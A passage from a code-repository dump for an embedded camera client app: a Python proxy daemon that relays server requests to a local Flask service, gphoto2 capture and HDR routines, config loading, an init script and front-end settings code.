success\")\n return\n\n except Exception as e:\n logger.info(e.message)\n\n sleep(5)\n\n @staticmethod\n def server_pull():\n\n pull_url = CeeProxy.get_api_url(SERVER_PULL_URL)\n\n pull = requests.get(pull_url)\n\n try:\n\n if pull.status_code != httplib.OK:\n logger.info(\"status code: %d\", pull.status_code)\n return None\n\n pull_data = pull.json()\n\n return pull_data\n\n except Exception as e:\n logger.info(e.message)\n return None\n\n @staticmethod\n def put_to_queue(q, data):\n \"\"\"\n\n :param q:\n :param data:\n :return:\n \"\"\"\n try:\n # fix 0.2: check queue is full, then pop older\n try:\n if q.full():\n q.get_nowait()\n except queue.Empty:\n pass\n q.put_nowait(data)\n except queue.Full:\n pass\n\n @staticmethod\n def get_from_queue(q, timeout):\n \"\"\"\n\n :param q:\n :param timeout:\n :return:\n \"\"\"\n try:\n data = q.get(timeout=timeout)\n except queue.Empty:\n data = None\n return data\n\n @staticmethod\n def client_thread():\n\n logger.info('starting client thread')\n\n client_url = \"http://\" + CeeProxy.client_addr + \":\" + str(CeeProxy.client_port)\n\n while True:\n api_req = CeeProxy.get_from_queue(CeeProxy.pull_q, 5)\n\n if api_req is None:\n continue\n\n api_url = client_url + api_req['api']\n logger.info(api_url)\n push = {\n \"token\": api_req['token'],\n \"timestamp\": '',\n \"device_id\": CeeProxy.device_id,\n \"length\": 0,\n \"status\": httplib.ACCEPTED,\n \"data_format\": '',\n \"data\": '',\n }\n\n try:\n # if data field in request then post() else get()\n if 'data' in api_req:\n logger.info(\"post data: {}\".format(api_req['data']))\n if api_req['data'] == '':\n api_res = requests.get(api_url)\n else:\n headers = {'Content-Type': 'application/json'}\n api_res = requests.post(api_url, json=api_req['data'], headers=headers)\n else:\n api_res = requests.get(api_url)\n\n # now parsing client's response\n content_len = int(api_res.headers['Content-Length'])\n push[\"timestamp\"] = time.time()\n push[\"length\"] = content_len\n push[\"status\"] = api_res.status_code\n\n logger.info(\"push: {}\".format(push))\n\n if api_res.status_code == httplib.OK:\n try:\n if content_len < 100000:\n push[\"data_format\"] = 'json'\n push[\"data\"] = api_res.json()\n else:\n push[\"data_format\"] = 'raw'\n push[\"data\"] = api_res.content\n except ValueError as e:\n logger.error('Value error {}'.format(e))\n logger.error('Value error {}'.format(api_res.raw.read(100)))\n push[\"status\"] = httplib.INTERNAL_SERVER_ERROR\n\n except Exception as e:\n logger.error('exception {}'.format(e.message))\n push[\"status\"] = httplib.INTERNAL_SERVER_ERROR\n\n logger.info('put_to_queue')\n\n # put the push object to push_q then server_push_thread will push this to server\n CeeProxy.put_to_queue(CeeProxy.push_q, push)\n\n # set pending event to True so pull thread can get new pull request\n logger.info('set pending event')\n CeeProxy.pending_event.set()\n\n @staticmethod\n def server_push_thread():\n\n push_url = CeeProxy.get_api_url(SERVER_PUSH_URL)\n\n while True:\n push = CeeProxy.get_from_queue(CeeProxy.push_q, 5)\n\n if push is None:\n continue\n\n push_data = json.dumps(push)\n try:\n r = requests.post(url=push_url, json=push_data)\n\n if r.status_code != httplib.OK:\n logger.error(\"push status code: %d\", r.status_code)\n else:\n push_res = r.json()\n logger.info(\"push result: %s\", push_res['code'])\n\n except Exception as e:\n logger.info(e.message)\n\n finally:\n pass\n\n @staticmethod\n def run():\n\n # set pending event to True\n logger.info('set pending event')\n CeeProxy.pending_event.set()\n\n # start client thread\n thread.start_new_thread(CeeProxy.client_thread, ())\n thread.start_new_thread(CeeProxy.server_push_thread, ())\n\n logger.info('start')\n\n while True:\n try:\n pull = CeeProxy.server_pull()\n\n if pull is None:\n time.sleep(1)\n elif pull['code'] == 10:\n time.sleep(1)\n else:\n logger.info(pull)\n # check pending event and if event is busy for 5 seconds then return\n # device busy response\n logger.info('check device status if can ready in 5 seconds')\n error_resp = False\n if not CeeProxy.pending_event.wait(timeout=0):\n\n logger.info('device is still busy, response with LOCKED status')\n CeeProxy.error_response(pull, httplib.LOCKED, 'device is busy')\n error_resp = True\n\n elif '/sapi/imgcap/' in pull['api']:\n logger.info('image capture URL, check camera')\n CeeProxy.camera_exists = camera_query()\n if not CeeProxy.camera_exists:\n logger.info('camera not found, response with 1002 status')\n CeeProxy.error_response(pull, 1002, 'Camera capture failed: No Camera')\n error_resp = True\n\n if not error_resp:\n logger.info('clear pending event')\n CeeProxy.pending_event.clear()\n CeeProxy.put_to_queue(CeeProxy.pull_q, pull)\n\n except Exception as e:\n logger.info(e.message)\n time.sleep(1)\n finally:\n time.sleep(1)\n pass\n\n @staticmethod\n def error_response(pull, status, data):\n push = {\n \"token\": pull['token'],\n \"timestamp\": time.time(),\n \"device_id\": CeeProxy.device_id,\n \"length\": len(data),\n \"status\": status,\n \"data_format\": 'raw',\n \"data\": data,\n }\n\n logger.info('put_to_queue')\n CeeProxy.put_to_queue(CeeProxy.push_q, push)\n\n\ndef daemon_proc():\n\n # options = get_options()\n # set_loggers(options.level, options.quiet)\n set_loggers()\n\n logger.info('CeeProxy')\n\n # find NIKON camera in usb devices and change mode to WRITE\n CeeProxy.camera_exists = camera_query()\n\n # load configuration from file\n SERVER_ADDR, SERVER_API_KEY, DEVICE_ID = load_config()\n\n CeeProxy.server_addr = SERVER_ADDR\n CeeProxy.server_port = SERVER_PORT\n CeeProxy.client_addr = CLIENT_ADDR\n CeeProxy.client_port = CLIENT_PORT\n CeeProxy.device_id = DEVICE_ID\n\n logger.info('after: %s' % SERVER_ADDR)\n\n # first login to server and receive access token\n CeeProxy.login()\n\n # go forever\n CeeProxy.run()\n\n\ndef main():\n # install_signal_handlers()\n with daemon.DaemonContext():\n daemon_proc()\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.7304964661598206, "alphanum_fraction": 0.7340425252914429, "avg_line_length": 19.214284896850586, "blob_id": "cbab3ef0353c9c6058e498942d19e593f1db49ea", "content_id": "462009c88fbaa3922780110a0d744eefa7b342b6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 282, "license_type": "permissive", "max_line_length": 42, "num_lines": 14, "path": "/Client/Startup_App_Arch/app.uwsgi.ini", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "[uwsgi]\n# the python module to import\nmodule = flask_app\n# the variable the holds the flask context\ncallable = app\n\nplugin = python2\nmaster = True\nchdir = /IIC-Client/Client\nsocket = /tmp/Client.sock\npidfile = /tmp/.pid\nlogto = /IIC-Client/Client/log/uwsgi.log\nuid = http\ngid = http" }, { "alpha_fraction": 0.5484133958816528, "alphanum_fraction": 0.5563916563987732, "avg_line_length": 38.537635803222656, "blob_id": "f358eb7342df15ca0a87119a0f53ab79126af094", "content_id": "a771cda341f68147fd1807d7d89b05e35531a763", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11030, "license_type": "permissive", "max_line_length": 179, "num_lines": 279, "path": "/Client/main/camera.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport gphoto2 as gp\nimport json\nimport os\nimport re\nimport exifread\nfrom main.const import *\nfrom main.models import *\nimport subprocess\nfrom main.logger import *\n\n\nclass MyCamera(object):\n \"\"\"\n Init camera connection\n \"\"\"\n def __init__(self):\n \"\"\"\n Initialise the camera\n :return:\n \"\"\"\n try:\n self.camera = gp.check_result(gp.gp_camera_new())\n self.context = gp.gp_context_new()\n self.path_root = '/camera/imgCap/'\n self.path_single = '/camera/imgCap/single/'\n self.path_hdr3 = '/camera/imgCap/hdr3/'\n self.path_hdr5 = '/camera/imgCap/hdr5/'\n\n except Exception as e:\n logger.error(e.message)\n\n def open(self):\n \"\"\"\n open camera connection\n :return:\n \"\"\"\n gp.check_result(gp.gp_camera_init(self.camera, self.context))\n\n def close(self):\n \"\"\"\n Close camera connection\n :return:\n \"\"\"\n # clean up\n gp.check_result(gp.gp_camera_exit(self.camera, self.context))\n\n def get_summary(self):\n \"\"\"\n Get gphoto2 summary\n :return: json_data\n \"\"\"\n text = gp.check_result(gp.gp_camera_get_summary(self.camera, self.context))\n content = str(text)\n\n search_text = {\n 'manufacturer': 'Manufacturer: (.+)?',\n 'model': 'Model: (.+)?',\n 'version': 'Version: (.+)?',\n 'serial_number': 'Serial Number: (.+)?',\n 'free_space_sd_card': 'Free Space.+:(.+)?',\n 'current_focal_length': 'Focal Length.+? value:(.+)?\\(',\n 'focus_mode': 'Focus Metering Mode.+? value:(.+)?\\(',\n 'exposure_time': 'Exposure Time.+? value:(.+)?\\(',\n 'exposure_program_mode': 'Exposure Program Mode.+? value:(.+)?\\(',\n 'jpeg_compression_settings': 'Compression Setting.+? value:(.+)?\\(',\n 'white_balance': 'White Balance.+? value:(.+)?\\(',\n 'f_number': 'F-Number.+? value: f/(.+)?\\(',\n 'exposure_metering_mode': 'Exposure Metering Mode.+? value:(.+)?\\(',\n 'flash_mode': 'Flash Mode.+? value:(.+)?\\(',\n 'exposure_compensation': 'Exposure Bias Compensation.+? value: ([-+]?\\d+\\.\\d+)?.+?\\(',\n 'still_capture_mode': 'Still Capture Mode.+? value:(.+)?\\(',\n 'auto_iso': 'Auto ISO.+? value:(.+)?\\(',\n 'iso': 'Exposure Index.+? value: ISO(.+)?\\(',\n 'long_exposure_noise_reduction': 'Long Exposure Noise Reduction.+? value:(.+)?\\(',\n 'autofocus_mode': 'Autofocus Mode.+? value:(.+)?\\(',\n 'af_assist_lamp': 'AF Assist Lamp.+? value:(.+)?\\(',\n 'iso_auto_high_limit': 'ISO Auto High Limit.+? value:(.+)?\\('\n }\n\n search_result = {}\n for tag in search_text:\n search_result[tag] = ''\n try:\n search_result[tag] = re.search(search_text[tag], content).group(1).strip()\n except Exception as e:\n logger.debug('exception: {}'.format(e))\n pass\n\n return [search_result]\n\n def get_config_value(self, field_name):\n \"\"\"\n Get configValue for given configField\n :param field_name:\n :return:\n \"\"\"\n # get configuration tree\n config = gp.check_result(gp.gp_camera_get_config(self.camera, self.context))\n # find the capture target config item\n config_target = gp.check_result(gp.gp_widget_get_child_by_name(config, str(field_name)))\n # check value in range\n value = gp.check_result(gp.gp_widget_get_value(config_target))\n return value\n\n def capture_image(self, method):\n \"\"\"\n Capture image\n :param method:\n :return:\n \"\"\"\n\n try:\n file_path = gp.check_result(gp.gp_camera_capture(self.camera, gp.GP_CAPTURE_IMAGE, self.context))\n if method == 'single':\n path = self.path_single\n\n elif method == 'hdr3':\n path = self.path_hdr3\n\n elif method == 'hdr5':\n path = self.path_hdr5\n\n target = os.path.join(path, file_path.name)\n camera_file = gp.check_result(gp.gp_camera_file_get(self.camera, file_path.folder, file_path.name, gp.GP_FILE_TYPE_NORMAL, self.context))\n gp.check_result(gp.gp_file_save(camera_file, target))\n # Count shutter count from image\n count = self.get_image_shutter(path + file_path.name)\n update_camera(str(count))\n\n except Exception as e:\n logger.error(e.message)\n\n def set_config_value(self, field_name, field_value):\n \"\"\"\n Set configValue for given configField\n :param field_name:\n :param field_value:\n :return:\n \"\"\"\n try:\n # get configuration tree\n config = gp.check_result(gp.gp_camera_get_config(self.camera, self.context))\n # find the capture target config item\n config_target = gp.check_result(gp.gp_widget_get_child_by_name(config, str(field_name)))\n # value = gp.check_result(gp.gp_widget_get_choice(config_target, 2))\n gp.check_result(gp.gp_widget_set_value(config_target, str(field_value)))\n # set config\n gp.check_result(gp.gp_camera_set_config(self.camera, config, self.context))\n logger.debug(\"set field_name:{}, field_value:{}\".format(field_name, field_value))\n except Exception as e:\n logger.debug(e.message)\n\n def capture_single(self):\n \"\"\"\n Capture Single Image\n :return: self.path_single\n \"\"\"\n method = \"single\"\n subprocess.call(['tshwctl', '--redledoff'])\n try:\n self.capture_image(method)\n logger.debug(\"Capture Single Image OK!\")\n subprocess.call(['tshwctl', '--redledon'])\n return self.path_single\n except Exception as e:\n logger.error(e.message)\n subprocess.call(['tshwctl', '--redledon'])\n return \"error\"\n\n def capture_hdr3(self):\n \"\"\"\n Capture hdr3 Image\n :return: self.path_hdr3\n \"\"\"\n method = 'hdr3'\n subprocess.call(['tshwctl', '--redledoff'])\n try:\n self.set_config_value('5010', '-3000')\n self.capture_image(method)\n self.set_config_value('5010', '+3000')\n self.capture_image(method)\n self.set_config_value('5010', '0')\n self.capture_image(method)\n # Compress the hdr3 images as hdr3.tar.gz\n MyCamera.compress_tar(source=self.path_hdr3, target=self.path_root + 'hdr3.tar.gz')\n path = self.path_hdr3 + \"*\"\n subprocess.call('rm -rf ' + path, shell=True)\n subprocess.call(['tshwctl', '--redledon'])\n return self.path_root\n except Exception as e:\n logger.error(e.message)\n subprocess.call(['tshwctl', '--redledon'])\n return \"error\"\n\n def capture_hdr5(self):\n \"\"\"\n Capture hdr5 Image\n :return: self.path_hdr5\n \"\"\"\n method = 'hdr5'\n subprocess.call(['tshwctl', '--redledoff'])\n try:\n self.set_config_value('5010', '-5000')\n self.capture_image(method)\n self.set_config_value('5010', '+5000')\n self.capture_image(method)\n self.set_config_value('5010', '-3000')\n self.capture_image(method)\n self.set_config_value('5010', '+3000')\n self.capture_image(method)\n self.set_config_value('5010', '0')\n self.capture_image(method)\n subprocess.call(['tshwctl', '--redledon'])\n # Compress the hdr3 images as hdr3.tar.gz\n MyCamera.compress_tar(source=self.path_hdr5, target=self.path_root + 'hdr5.tar.gz')\n path = self.path_hdr5 + \"*\"\n subprocess.call('rm -rf ' + path, shell=True)\n return self.path_root\n except Exception as e:\n logger.debug(e.message)\n subprocess.call(['tshwctl', '--redledon'])\n return \"error\"\n\n def reset_setting(self):\n \"\"\"\n RESET CAMERA DEFAULT SETTING.\n :return:\n \"\"\"\n for i in range(len(DEFAULT_SETTING_Field)):\n self.set_config_value(DEFAULT_SETTING_Field[i], DEFAULT_SETTING_Value[i])\n logger.debug(\"Reset Camera Setting OK!\")\n return \"success\"\n\n def get_image_shutter(self, file_path):\n \"\"\"\n Get shutter count from Image.\n :param file_path:\n :return:\n \"\"\"\n count = \" \"\n try:\n f = open(file_path, 'rb')\n tags = exifread.process_file(f)\n f.close()\n count = tags['MakerNote TotalShutterReleases']\n return count\n except Exception as e:\n logger.error(e.message)\n return count\n\n def set_camera_setting(self, data):\n try:\n logger.debug(\"Start set camera setting\")\n self.set_config_value(CAMERA_SETTING[\"af-assist-lamp\"][\"value\"], CAMERA_SETTING[\"af-assist-lamp\"][data[\"af-assist-lamp\"]])\n self.set_config_value(CAMERA_SETTING[\"white-balance\"][\"value\"], CAMERA_SETTING[\"white-balance\"][data[\"white-balance\"]])\n self.set_config_value(CAMERA_SETTING[\"jpeg-compression-settings\"][\"value\"], CAMERA_SETTING[\"jpeg-compression-settings\"][data[\"jpeg-compression-settings\"]])\n# self.set_config_value(CAMERA_SETTING[\"f-number\"][\"value\"], CAMERA_SETTING[\"f-number\"][data[\"f-number\"]])\n self.set_config_value(CAMERA_SETTING[\"exposure-metering-mode\"][\"value\"], CAMERA_SETTING[\"exposure-metering-mode\"][data[\"exposure-metering-mode\"]])\n self.set_config_value(CAMERA_SETTING[\"iso\"][\"value\"], CAMERA_SETTING[\"iso\"][data[\"iso\"]])\n self.set_config_value(CAMERA_SETTING[\"exposure-compensation\"][\"value\"], CAMERA_SETTING[\"exposure-compensation\"][data[\"exposure-compensation\"]])\n self.set_config_value(CAMERA_SETTING[\"auto-iso\"][\"value\"], CAMERA_SETTING[\"auto-iso\"][data[\"auto-iso\"]])\n self.set_config_value(CAMERA_SETTING[\"long-exposure-noise-reduction\"][\"value\"], CAMERA_SETTING[\"long-exposure-noise-reduction\"][data[\"long-exposure-noise-reduction\"]])\n self.set_config_value(CAMERA_SETTING[\"autofocus-mode\"][\"value\"], CAMERA_SETTING[\"autofocus-mode\"][data[\"autofocus-mode\"]])\n self.set_config_value(CAMERA_SETTING[\"auto-iso-hight-limit\"][\"value\"], CAMERA_SETTING[\"auto-iso-hight-limit\"][data[\"auto-iso-hight-limit\"]])\n logger.debug(\"end camera setting\")\n except Exception as e:\n logger.debug(e.message)\n\n @staticmethod\n def compress_tar(source, target):\n \"\"\"\n Compress Function\n :param source:\n :param target:\n :return:\n \"\"\"\n cmdline = ['/bin/tar', '-czvf', target, source]\n subprocess.call(cmdline)" }, { "alpha_fraction": 0.4959999918937683, "alphanum_fraction": 0.4991999864578247, "avg_line_length": 32.783782958984375, "blob_id": "e5a9429783170d8ec09a1e5bb48a778c17e9b7a7", "content_id": "fa7bc7648d923f842d830b50e958f7e1bd55a55f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1250, "license_type": "permissive", "max_line_length": 90, "num_lines": 37, "path": "/Client/cliproxy/utils.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "import optparse\nimport sys\nimport signal\nfrom logger import *\n\n\ndef get_options():\n levels = ('DEBUG', 'INFO', 'WARNING', 'ERROR', 'CRITICAL')\n usage = \"python %prog [options]\"\n parser = optparse.OptionParser(usage=usage, description=__doc__)\n parser.add_option(\"-p\", \"--port\",\n dest=\"port\",\n metavar=\"PORT\",\n type=\"int\",\n default=80,\n help=\"local TCP port [default: %default]\")\n parser.add_option(\"-l\", \"--level\",\n dest=\"level\",\n metavar=\"LEVEL\",\n choices=levels,\n default=levels[0],\n help=\"logging level: \" + \", \".join(levels) + \" [default: %default]\")\n parser.add_option(\"-q\", \"--quiet\",\n dest=\"quiet\",\n default=False,\n action=\"store_true\",\n help=\"suppress console output\")\n options, args = parser.parse_args()\n return options\n\n\ndef install_signal_handlers():\n def signal_term_handler(signal, frame):\n logger.critical(\"terminated by SIGTERM\")\n sys.exit(1)\n\n signal.signal(signal.SIGTERM, signal_term_handler)\n" }, { "alpha_fraction": 0.6202428936958313, "alphanum_fraction": 0.6315789222717285, "avg_line_length": 25.29787254333496, "blob_id": "19eb7921299ba876380855fa9e1f8b45b2fb6d55", "content_id": "7a6813bc0ce9d5c9fd662d89dda1b28e1b48bc49", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1235, "license_type": "permissive", "max_line_length": 135, "num_lines": 47, "path": "/Client/Startup_App_debian/ceeproxy_service.sh", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "#!/bin/sh\n### BEGIN INIT INFO\n#Provides: ceeproxy\n#Required-Start: $remote_fs $syslog\n#Required_Stop: $remote_fs $syslog\n#Default-Start: 2 3 4 5\n#Default-Stop: 0 1 6\n#Short-Description: This is proxy server which can communicate with server\n#Description: This is proxy server which can communicate with server\n### END INIT INFO\n\nDIR=/IIC-Client/Client/cliproxy\nDAEMON=$DIR/ceeproxy.py\nDAEMON_NAME=ceeproxy\n\nDAEMON_USER=root\nPIDFILE=/tmp/$DAEMON_NAME.pid\n. /lib/lsb/init-functions\ndo_start () {\n log_daemon_msg \"Starting system $DAEMON_NAME daemon\"\n start-stop-daemon --start --background --pidfile $PIDFILE --make-pidfile --user $DAEMON_USER --chuid $DAEMON_USER --startas $DAEMON\n log_end_msg $?\n}\ndo_stop () {\n log_daemon_msg \"Stopping system $DAEMON_NAME daemon\"\n start-stop-daemon --stop --pidfile $PIDFILE --retry 10\n log_end_msg $?\n}\n\ncase \"$1\" in\n start|stop)\n do_${1}\n ;;\n\n restart|reload|force-reload)\n do_stop\n do_start\n ;;\n status)\n status_of_proc \"$DAEMON_NAME\" \"$DAEMON\" && exit 0 || exit $?\n ;;\n *)\n echo \"Usage: /etc/init.d/$DAEMON_NAME {start|stop|restart|status}\"\n exit 1\n ;;\nesac\nexit 0" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 30, "blob_id": "1dde7c6814aa89cf46487af76f2fc9e54e129bd1", "content_id": "362d29169c4c49acb4d26d886150ab0783f40d29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 30, "license_type": "no_license", "max_line_length": 30, "num_lines": 1, "path": "/README.md", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "# Full-Stack-Server-Client-App" }, { "alpha_fraction": 0.6106983423233032, "alphanum_fraction": 0.6136701107025146, "avg_line_length": 27.842857360839844, "blob_id": "8a515b91adeca986c7336cd4ddbdbbddf567a4ab", "content_id": "ab93695bc1ce1cb69db1631041a0a87eadd11075", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2019, "license_type": "permissive", "max_line_length": 92, "num_lines": 70, "path": "/Client/cliproxy/config.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "import ConfigParser\nimport sqlite3 as sqlite\nfrom uuid import getnode as get_mac\nfrom logger import *\n\n\ndef get_device_id():\n mac = ''.join('%012x' % get_mac())\n return mac\n\n\ndef get_server_addr(db_name):\n addr = \"\"\n if os.path.exists(db_name):\n con = sqlite.connect(db_name)\n cur = con.cursor()\n result = cur.execute(\"select server_addr from IP\")\n addr = result.fetchone()\n con.close()\n else:\n logger.error('cannot found database: %s', db_name)\n\n return addr\n\n\ndef config_section_map(config, section):\n d = {}\n options = config.options(section)\n for option in options:\n try:\n d[option] = config.get(section, option)\n if d[option] == -1:\n logger.debug('error')\n except:\n logger.error(\"exceptions on %s\" % option)\n d[option] = None\n\n return d\n\n\ndef load_config():\n config = ConfigParser.ConfigParser()\n config_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'ceeproxy.conf')\n\n config.read(config_path)\n\n api_key = config_section_map(config=config, section=\"SERVER\")[\"api_key\"]\n\n # server_addr = config_section_map(config=config, sect\n # ion=\"SERVER\")[\"addr\"]\n db_name = config_section_map(config=config, section=\"DATABASE\")[\"db_name\"]\n server_addr = get_server_addr(db_name)\n logger.debug(server_addr)\n # device_id = config_section_map(config=config, section=\"DEVICE\")[\"mac\"]\n device_id = get_device_id()\n logger.debug(device_id)\n if server_addr is not None:\n SERVER_ADDR = server_addr[0]\n logger.debug(\"before: %s\" % SERVER_ADDR)\n if api_key is not None:\n SERVER_API_KEY = api_key\n if device_id is not None:\n DEVICE_ID = device_id\n logger.debug(\"before: %s\" % DEVICE_ID)\n\n logger.debug('server address: %s', SERVER_ADDR)\n logger.debug('server api key: %s', SERVER_API_KEY)\n logger.debug('device id: %s', DEVICE_ID)\n\n return [SERVER_ADDR, SERVER_API_KEY, DEVICE_ID]\n" }, { "alpha_fraction": 0.5186936259269714, "alphanum_fraction": 0.5186936259269714, "avg_line_length": 51.84090805053711, "blob_id": "b6aea9be419935438ee4c801265ffde1691fa563", "content_id": "44dab9cf7c13334f0eda2b76b44ca99929e9244f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2327, "license_type": "permissive", "max_line_length": 110, "num_lines": 44, "path": "/Client/static/js/camera_config.js", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": " //initialize the javascript\n $('#camera').addClass(\"selected\");\n get_setting();\n // <-------------------------Get the IP Settings from Camera---------------------->\n function get_setting() {\n $.getJSON('/api/control/summary', function (data) {\n $.each(data, function (key, item) {\n $('#form-camera')\n .find('[name=\"jpeg-compression-settings\"]').val(item.jpeg_compression_settings).end()\n .find('[name=\"white-balance\"]').val(item.white_balance).end()\n .find('[name=\"f-number\"]').val(item.f_number).end()\n .find('[name=\"exposure-metering-mode\"]').val(item.exposure_metering_mode).end()\n .find('[name=\"iso\"]').val(item.iso).end()\n .find('[name=\"exposure-compensation\"]').val(item.exposure_compensation).end()\n .find('[name=\"still-capture-mode\"]').val(item.still_capture_mode).end()\n .find('[name=\"auto-iso\"]').val(item.auto_iso).end()\n .find('[name=\"long-exposure-noise-reduction\"]').val(item.long_exposure_noise_reduction).end()\n .find('[name=\"autofocus-mode\"]').val(item.autofocus_mode).end()\n .find('[name=\"af-assist-lamp\"]').val(item.af_assist_lamp).end()\n .find('[name=\"auto-iso-hight-limit\"]').val(item.auto_iso).end()\n .find('[name=\"manufactuer\"]').val(item.manufacturer).end()\n .find('[name=\"model\"]').val(item.model).end()\n .find('[name=\"version\"]').val(item.version).end()\n .find('[name=\"serial-number\"]').val(item.serial_number).end()\n .find('[name=\"free-space-sd-card\"]').val(item.free_space_sd_card).end()\n .find('[name=\"current-focal-length\"]').val(item.current_focal_length).end()\n .find('[name=\"exposure-time\"]').val(item.exposure_time).end()\n .find('[name=\"exposure-program-mode\"]').val(item.exposure_program_mode).end()\n .find('[name=\"shutter-count\"]').val(item.shutter_count).end();\n });\n });\n }\n\n $('#reset').click(function () {\n $.ajax({\n type: \"GET\",\n dataType: \"text\",\n url: \"/api/camera/reset\",\n success: function (data) {\n alert(data);\n get_setting();\n }\n });\n });\n" }, { "alpha_fraction": 0.7019438147544861, "alphanum_fraction": 0.7019438147544861, "avg_line_length": 25.941177368164062, "blob_id": "4e1c04d566ef4d595f9857a78a730cfd11992974", "content_id": "0acbb95f545d748ede788ffc94f1d4909edec3ae", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 463, "license_type": "permissive", "max_line_length": 89, "num_lines": 17, "path": "/Client/main/logger.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "import logging\nfrom logging.handlers import *\nPROGID = 'CeeClient'\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG)\nLOG_FILE = '/tmp/Client_APP.log'\nLOG_SYSFILE = '/var/log/everything.log'\n\n\ndef get_memory_log_handler():\n\n handler = logging.FileHandler(LOG_FILE)\n handler.name = 'in-memory log'\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n handler.setFormatter(formatter)\n return handler\n\n\n\n\n\n" }, { "alpha_fraction": 0.463007390499115, "alphanum_fraction": 0.46799731254577637, "avg_line_length": 28.5212459564209, "blob_id": "3ff73427d8547715f31692211b449c24b61ed06f", "content_id": "d82856a1cea3076fb8d6a90d699c951ea3961b70", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10421, "license_type": "permissive", "max_line_length": 106, "num_lines": 353, "path": "/Client/main/views.py", "repo_name": "jense-arntz/Full-Stack-Server-Client-App", "src_encoding": "UTF-8", "text": "import os, platform, socket\nimport netifaces as ni\nimport uuid\nimport re\nimport subprocess\nfrom subprocess import call\nimport json\nfrom uuid import getnode as get_mac\nfrom main.models import *\nfrom main.logger import *\nimport requests\nimport httplib\n\n\ndef clear_log_data():\n \"\"\"\n Clear APP Log Data\n :return: \"success\"\n \"\"\"\n file_path = LOG_FILE\n try:\n with open(file_path, \"w\"):\n pass\n except Exception as e:\n logger.error(e.message)\n logger.debug(\"Clear APP Log OK!\")\n\n return \"success\"\n\n\ndef clear_log_sys():\n \"\"\"\n Clear SYS Log Data\n :return: \"success\"\n \"\"\"\n file_path = LOG_SYSFILE\n try:\n fopen = open(file_path, \"w\")\n fopen.truncate()\n fopen.close()\n except Exception as e:\n logger.error(e.message)\n logger.debug(\"Clear SYS Log OK!\")\n\n return \"success\"\n\n\ndef get_shuttercount():\n \"\"\"\n Get shutter count\n :return: shuttercount\n \"\"\"\n shuttercount = get_camera()[0]\n logger.debug(\"GET shuttercount %s OK!\" % shuttercount)\n return shuttercount\n\n\ndef get_log_data(option):\n \"\"\"\n Get log data from log file\n :param option:\n :return: log_data\n \"\"\"\n if option == 'App':\n file_path = LOG_FILE\n\n elif option == 'Sys':\n file_path = LOG_SYSFILE\n\n try:\n fopen = open(file_path, 'r')\n\n line = fopen.read().strip()\n\n log_data = json.dumps({'log': line})\n\n fopen.close()\n\n logger.debug(\"READ %s LOG OK!\" % option)\n\n return log_data\n\n except Exception as e:\n logger.error(e.message)\n return \"error\"\n\n\nclass Get_Setting():\n \"\"\"\n Get system setting\n \"\"\"\n\n def __init__(self):\n # ----------------- NIC INFO -----------------\n self.os = platform.dist()[0]\n # If system is \"debian\":\n if self.os == 'debian':\n self.hostname = socket.gethostname()\n self.iface = ni.interfaces()[1]\n self.ipaddress = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr']\n self.subnet = ni.ifaddresses(self.iface)[ni.AF_INET][0]['netmask']\n self.gateways = ni.gateways()['default'][ni.AF_INET][0]\n # --- OS INFO ---------------------\n\n self.os_ver = platform.dist()[1]\n self.mac = ''.join('%012x' % get_mac())\n self.ip_data = get_ip()\n self.path_ip = '/etc/network/interfaces'\n self.dns_file = '/etc/resolv.conf'\n # If system is \"Arch Linux\":\n else:\n self.hostname = socket.gethostname()\n self.iface = ni.interfaces()[1]\n self.ipaddress = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr']\n self.subnet = ni.ifaddresses(self.iface)[ni.AF_INET][0]['netmask']\n self.gateways = ni.gateways()['default'][ni.AF_INET][0]\n # --- OS INFO ---------------------\n self.os_ver = platform.dist()[1]\n self.mac = ''.join('%012x' % get_mac())\n self.ip_data = get_ip()\n self.path_ip = '/etc/netctl/eth0'\n self.dns_file = '/etc/resolv.conf'\n logger.debug('GET IP SETTING OK!')\n\n def get_time(self):\n \"\"\"\n Get system time date\n :return: sys_time\n \"\"\"\n if self.os == 'debian':\n sys_time = subprocess.check_output(\"date\", shell=True)\n else:\n time_data = subprocess.check_output(\"timedatectl | grep Local\", shell=True)\n sys_time = re.search('.(\\w+).(\\d+)-(\\d+)-(\\d+).(\\d+):(\\d+):(\\d+)', time_data).group().strip()\n return sys_time\n\n def push_token(self, server_addr, token):\n # push token to server\n url = \"http://{}/api/client/token/{}/{}/\".format(server_addr, self.mac, token)\n api_res = requests.get(url)\n\n if api_res.status_code != httplib.OK:\n logger.debug(\"status code: %d\", api_res.status_code)\n return False\n\n return True\n\n def get_token(self):\n 